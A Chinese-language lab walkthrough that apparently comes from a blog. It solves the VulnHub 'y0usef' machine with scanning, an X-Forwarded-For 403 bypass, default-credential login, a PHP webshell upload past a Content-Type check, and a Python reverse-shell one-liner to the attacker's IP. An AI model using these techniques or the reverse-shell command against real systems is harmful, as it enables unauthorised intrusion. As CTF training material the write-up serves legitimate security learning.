vulnhub靶场-y0usef

1、靶机信息

靶机名称:y0usef

靶机难度:简单

虚拟机环境:此靶机推荐使用Virtualbox搭建

目标:获取两个flag

靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova

kali服务器IP

192.168.137.116

靶机IP

192.168.137.20

2、主机发现

2.1 使用arp协议探测同一C段靶机地址

arp-scan -l

得到靶机IP 192.168.137.20

3、端口扫描

3.1 使用nmap对主机进行全端口探测,以及开放服务的版本探测

nmap -sS -sV -p- -v 192.168.137.20

在这次扫描中,我们发现了22 SSH和80 Apache端口的开放,并且系统为Ubuntu

4、Web信息收集

4.1 首先我们访问站点,站点显示正在建设中,没有什么可利用的价值

4.2 我们访问一下页面源码,也没有发现有价值的东西

4.3 使用whatweb对站点的指纹信息进行收集,识别站点框架、语言等环境

whatweb http://192.168.137.20

我们收集到此站点搭建到Apache 2.4.10,语言为php,Web前端框架为Bootstrap,系统为Ubuntu

4.4 使用dirsearch对站点进行路径爬取

dirsearch -u http://192.168.137.20 -e *

发现一个敏感路径/adminstration/

4.5 尝试访问http://192.168.137.20/adminstration/,发现403 Forbidden,没有权限进行访问

5、403 Bypass

5.1 403 绕过技巧

①覆盖请求URL

尝试使用X-Original-URLX-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URL和X-Rewrite-URL标头,用户可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。

②修改Host头

一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。当服务器获取HOST的方式不当时,我们可以通过修改Host值来进行绕过。首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址),再使用Burp的Intruder功能。

③Refer头绕过

尝试使用Referer标头绕过Web服务器的限制,Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。

④代理IP

一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用 X-Forwarded-ForX-Forwared-Host等标头绕过Web服务器的限制。

5.2 在这里我们使用了代理IP XFF的方式成功绕过,让服务器误以为请求是由本机127.0.0.1发起

可以看到页面是一个登陆页面,说明我们已经成功绕过

5.3 使用浏览器打开页面后,我们尝试对账密进行爆破

最后发现账密为admin/admin,在这里需要提醒一下,在提交账密后,请求中要始终带有XFF字段,否则服务器又会认为客户端没有经过验证

5.4 成功进入站点后台

6、文件上传

6.1 后台可以看到一处明显的上传点

6.2 当我们直接上传一句话木马时,发现文件没有被允许,说明是对文件上传做了一定限制

6.3 我们尝试修改文件类型,对文件扩展名进行修改

修改为Content-Type: image/png

发现文件上传成功,页面显示:file uploadad files/1646209522test.php

6.4 既然已经知道了文件目录,在这里直接命令执行

可以看到ls命令成功执行

GET /adminstration/upload/files/1646209522test.php?cmd=ls

7、提权

7.1 反弹shell

python反弹shell语句:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.116",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

浏览器执行:http://192.168.137.20/adminstration/upload/files/1646209522test.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.137.116%22,9999));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

7.2 通过在/home目录下找到一个user.txt文件,文本内容为一串Base64编码,解码后得到:

ssh : 
user : yousef 
pass : yousef123

7.3 使用shell软件登陆yousef账户,并尝试切换到root账户,发现成功,意味着提权成功

7.4 我们尝试在/root目录下寻找flag,又发现一串Base64编码,对其进行解码,拿到最终一个flag,打靶结束!

You've got the root Congratulations any feedback content me twitter @y0usef_11

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值